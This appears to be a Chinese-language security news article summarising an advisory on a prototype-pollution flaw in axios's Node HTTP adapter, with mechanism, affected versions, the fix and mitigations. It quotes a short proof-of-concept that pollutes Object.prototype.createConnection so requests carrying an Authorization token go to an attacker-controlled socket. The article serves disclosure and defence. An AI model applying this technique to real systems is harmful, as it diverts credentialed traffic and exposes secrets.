資安雷達 2026 年 10 月 1 日

2026-10-01 — Axios 在 Node 上被原型污染借道,請求 socket 可遭劫持

primary=https://github.com/advisories/GHSA-m8m8-qj5v-23w3 primary=https://github.com/axios/axios/pull/11141 primary=https://github.com/axios/axios/releases/tag/v1.20.0

Axios 在 Node 上被原型污染借道,請求 socket 可遭劫持

GitHub Advisory Database · 2026-09-30 · CVE-2026-101905 · GHSA-m8m8-qj5v-23w3 · 嚴重度 high

Axios 的 Node HTTP adapter 明明用 Object.create(null) 建立請求選項,卻仍會讓被污染的 Object.prototype.createConnection 決定 socket 連去哪裡。只要同一個 process 裡有任何其他套件先被原型污染,後續所有 axios 請求都可能改連到攻擊者的主機。

受影響範圍是 npm 的 axios >= 1.15.2, < 1.20.0,1.20.0 為第一個修補版本。公告的 CVSS 分數欄位為空,GitHub 僅標示嚴重度為 high。

背景

原型污染本身不是 axios 造成的:某個依賴套件的 merge 或 parse 邏輯有洞,讓攻擊者能對 Object.prototype 寫入屬性。Axios 先前已做過一輪「讀取端」加固,做法是把傳給 Node 的請求選項建成沒有原型的物件,讓它讀不到繼承來的屬性。

這次的漏洞說明那一輪加固有缺口。公告指出,Node 的 HTTP client 在建立連線之前,可能把請求選項複製或正規化成一般物件,null prototype 的保護因此在交給 Node 之後失效。

換句話說,axios 不是污染的來源,而是污染發生之後的放大器:攻擊者不必再找第二個洞,只要原型污染成立,axios 就替他把帶著憑證的流量送到指定的位置。依公告的 PoC,呼叫端拿到的是攻擊者伺服器的回應,而合法伺服器完全沒有收到請求。

漏洞機制

lib/adapters/http.js 建立的選項物件沒有自己的 createConnection 屬性。一旦 Object.prototype.createConnection 被污染,Node 複製選項後就會呼叫繼承來的函式去建立 socket。公告的說法是:axios 沒有為這個敏感的傳輸選項設定一個自有的安全值。

公告附的 PoC 只有兩步:先污染、再發一般請求。

Object.prototype.createConnection = function (_options, cb) {
  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
    if (typeof cb === 'function') cb(null, socket);
  });
  return socket;
};
await axios.get('http://127.0.0.1:<legit-port>/secret', {
  headers: { Authorization: 'Bearer SECRET' }, proxy: false });

公告在 axios 1.18.1 上驗證:合法伺服器完全沒收到請求,攻擊者的伺服器收到了 Bearer SECRET,並回傳了攻擊者控制的回應。

為什麼 URL 檢查擋不住

請求的 URL 與 axios config 仍然指向合法來源,只有底層 socket 去了別的地方。因此「呼叫 axios 之前先驗證目的地 URL」這類 SSRF 防護完全看不出異狀。公告列出的外洩內容包括 Authorization header、cookie、API key 與服務憑證,攻擊者也能回傳任意回應給應用程式。

受影響版本與條件

  • 受影響:Node.js HTTP adapter,包含 HTTP 與 HTTPS 路徑,且 process 內 Object.prototype.createConnection 已被污染。
  • 不受影響:瀏覽器 adapter、沒有原型污染的 process、以及使用自訂傳輸層且會忽略繼承的 createConnection 並自行清理選項的請求。
  • 弱點類型:CWE-441(混淆代理人)與 CWE-1321(原型屬性修改控制不當)。

這個洞需要前置條件:同一個 process 已有一個可用的原型污染原語。純靠 axios 無法觸發,但在依賴樹很大的 Node 服務裡,這個前置條件並不罕見,所以高權限的內部 client(帶著服務憑證打內部 API 的那種)風險最高。

修補與緩解

修補收在 PR #11141 「fix: harden runtime option handling」,對應 commit d19040b。PR 描述說明它過濾「只從共用原型繼承」的請求行為,包含外部 realm 的 Object.prototype,並讓已安全的合併 config 在 interceptor、adapter 與 response.config 之間維持同一個物件。

這個 PR 同時帶了相容性變更:需要清理的 interceptor 替換物件會被正規化成快照,原本的 identity、prototype、instanceof 與 accessor 位置都不會保留。若你的 interceptor 回傳自訂 class 實例當 config,升級後要確認行為。PR 也順帶加入 NO_PROXY 的 IPv4 與 IPv6 CIDR 比對,這會影響 proxy bypass 的判斷。

  • 升級到 axios@1.20.0 以上,並用 npm ls axios 確認依賴樹裡沒有殘留的舊版。
  • 無法立即升級時,公告的 workaround 是讓 axios 跑在沒有原型污染的 process,或高風險 client 改用自己設定並強制 createConnection 的傳輸層或 agent。
  • 順手檢查依賴樹裡是否有已知的原型污染漏洞,因為這是觸發本漏洞的入口。

公告與 release notes 都沒有說明是否已有實際被利用的案例,本文不做推測。

原始來源:GitHub Advisory、axios PR #11141、axios v1.20.0


End of article
0
Would love your thoughts, please comment.x
()
x